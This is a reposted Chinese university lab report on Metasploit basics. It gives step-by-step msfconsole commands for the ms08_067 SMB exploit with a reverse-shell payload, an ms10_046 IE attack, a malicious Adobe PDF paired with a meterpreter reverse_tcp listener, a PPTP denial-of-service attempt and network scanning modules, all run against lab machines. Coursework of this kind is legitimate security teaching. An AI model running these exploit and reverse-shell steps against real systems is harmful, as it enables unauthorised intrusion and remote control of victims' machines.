当前位置:   article > 正文

2018-2019-2 20165332《网络攻防技术》Exp5 MSF基础应用

set payload generic/shell_reverse_tcp

2018-2019-2 20165332《网络攻防技术》Exp5 MSF基础应用

1.基础问题回答

用自己的话解释什么是exploit,payload,encode.

exploit:就是利用可能存在的漏洞对目标进行攻击,相当于一个载具

payload:就是攻击的代码,是载荷。

encode:为了帮助攻击载荷避免被杀软发现,进行伪装。

2.实践总结与体会

在辅助模块这里,可以发现很多旧版本的软件有漏洞,从而可以进行相关的攻击,在此次实验中就体验了旧版本有漏洞的一些软件进行了攻击并且很轻易就实现了,所以有漏洞时,一定要尽快打补丁,不能让别人有机可乘哈哈哈。。

3.离实战还缺些什么技术或步骤?

实战的时候要结合靶机的具体环境考虑,结合具体应用的漏洞去实践。

4.实践过程记录

主动攻击:ms08_067

windows ip :192.168.128.135
kali ip :192.168.128.133
实验前先查看kali与靶机是否可以ping通
1301336-20190420201712276-1048471647.png

输入msfconsole进入msf,首先使用search命令搜寻有关漏洞MS08_067的相关信息
1301336-20190420201721595-63686023.png
用use exploit/windows/smb/ms08_067_netapi使用该模块:
再使用show payloads查看可以供我们使用的payload:
1301336-20190420201734675-1002213008.png

用show targets查看可以被攻击的靶机的操作系统型号,这里我们默认选择0采用自动选取
1301336-20190420201803408-1715800376.png


接下来设置攻击有效载荷(set payload generic/shell_reverse_tcp)
我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp对payload进行设置:
1301336-20190420201905679-2138364149.png

使用指令show options查看我们需要设置的参数,发现需要设置一个
RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):
1301336-20190420201936766-1783364513.png

设置完相应的参数后,再次使用show options对攻击的选项进行查看:
1301336-20190420201953527-1288691017.png
1301336-20190420201959835-1950589326.png


攻击成功后获取了靶机的shell,使用systeminfo指令查看靶机系统信息:
1301336-20190420202010759-1457579139.png
1301336-20190420202017221-353309194.png

在kali上执行ipconfig/all得到如下图所示:
1301336-20190420202030208-536417613.png

IE浏览器渗透攻击——ms10_046安全漏洞

基本步骤还是和上面一样,先利用search ms10_046指令查看可以运用的攻击模块:
1301336-20190420202105976-188710248.png

使用命令,选取模块use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
使用指令set payload generic/shell_reverse_tcp对payload进行设置:
再输入命令show options
然后查看需要设置的参数,SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:
1301336-20190420202118353-243717986.png

进行设置并且查看:
1301336-20190420202140851-1462666013.png

1301336-20190420202152164-1466572128.png

使用exploit指令执行漏洞,可以看到生成了一个url:
1301336-20190420202157865-212942663.png

在靶机的IE浏览器上使用该url进行访问,在MSF终端看见提示404错误
1301336-20190420202212716-1555196719.png
1301336-20190420202218769-1022561866.png

1301336-20190420202226226-1585298997.png

针对客户端的攻击

用search adobe查询一下针对该漏洞的攻击模块:
1301336-20190420202318337-207568871.png

选择了rank为good这款:
1301336-20190420202328283-1970217144.png

输入命令use exploit/windows/fileformat/adobe_utilprintf进入该漏洞模块的使用
1301336-20190420202334767-1446963890.png

使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
输入命令show options显示我们需要在攻击前需要设置的数据
输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。
1301336-20190420202355781-503910542.png

粘贴到xp中:
1301336-20190420202401640-847095399.png

使用use exploit/multi/handler新建一个监听模块
使用set payloads windws/meterpreter/reverse_tcp建立一个反向连接,设置set LPORT 5332
1301336-20190420202409887-1238225162.png

使用命令exploit开始攻击,在xp中打开pdf。同时kali会显示连接成功的结果。
1301336-20190420202416432-937042886.png

输入shell获取靶机信息
1301336-20190420202423423-997278588.png

在靶机xp中使用命令netstat -an,看本地tcp连接。
1301336-20190420202432815-1682867297.png

辅助模块应用

开放端口扫描
使用show auxiliary查看可以运用的辅助模块:
1301336-20190420202512635-1807896013.png

使用此模块扫描端口use auxiliary/scanner/portscan/syn
使用命令show optionsset RHOSTS 192.168.128.136(目标)set THREADS 50(线程)exploit
1301336-20190420202520862-1749714008.png

1301336-20190420202528298-1318486064.png

监听结果显示:
1301336-20190420202533696-1549763690.png

枚举系统上的用户
模块:auxiliary/scanner/smb/smb_enumusers
功能:枚举系统上的用户
使用命令:use auxiliary/scanner/smb/smb_enumusers进行设置:
1301336-20190420202624228-993568159.png
1301336-20190420202641331-1557390364.png

然后就可以开始exploit了。
1301336-20190420202648506-1394896509.png

cert扫描
用途:可以查到一个子网段内的服务器的证书情况。
这是用于扫描ssl证书的,ssl安全连接需要身份认证——数字证书
使用命令use auxiliary/scanner/http/cert进行相关设置
1301336-20190420202656509-811773720.png

扫描结果:
1301336-20190420202706276-1721005499.png

MS02 _ 063 _ pptp_dos
1301336-20190420202712969-274891760.png

这是Windows 2000/XP中PPTP服务的拒绝服务攻击缺陷。
攻击者利用此缺陷仅仅能够进行拒绝服务攻击,并不能获得任何信息和任何权限。
使用use使用此模块:
1301336-20190420202721139-667969303.png

进行配置:
1301336-20190420202736832-1521911879.png

exploit看看效果:竟然被拒绝了。。。

arp_sweep
arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机进行扫描。进入模块后查询一下参数,
msf > use auxiliary/scanner/discovery/arp_sweep ---进入arp_sweep 模块
msf auxiliary(arp_sweep) > show options ---查询模块参数
并且配置好后进行exploit:
1301336-20190420202814349-2020934573.png

1301336-20190420202823956-880084667.png

1301336-20190420202830324-1037810159.png

因为打开了win xp和虚拟机kali,扫描到了好几个活跃机,
发现xp的ip地址是:
192.168.128.138
主机的ip地址是
192.168.128.1

转载于:https://www.cnblogs.com/yyzzuishuai/p/10742539.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/69849
推荐阅读
相关标签
  

闽ICP备14008679号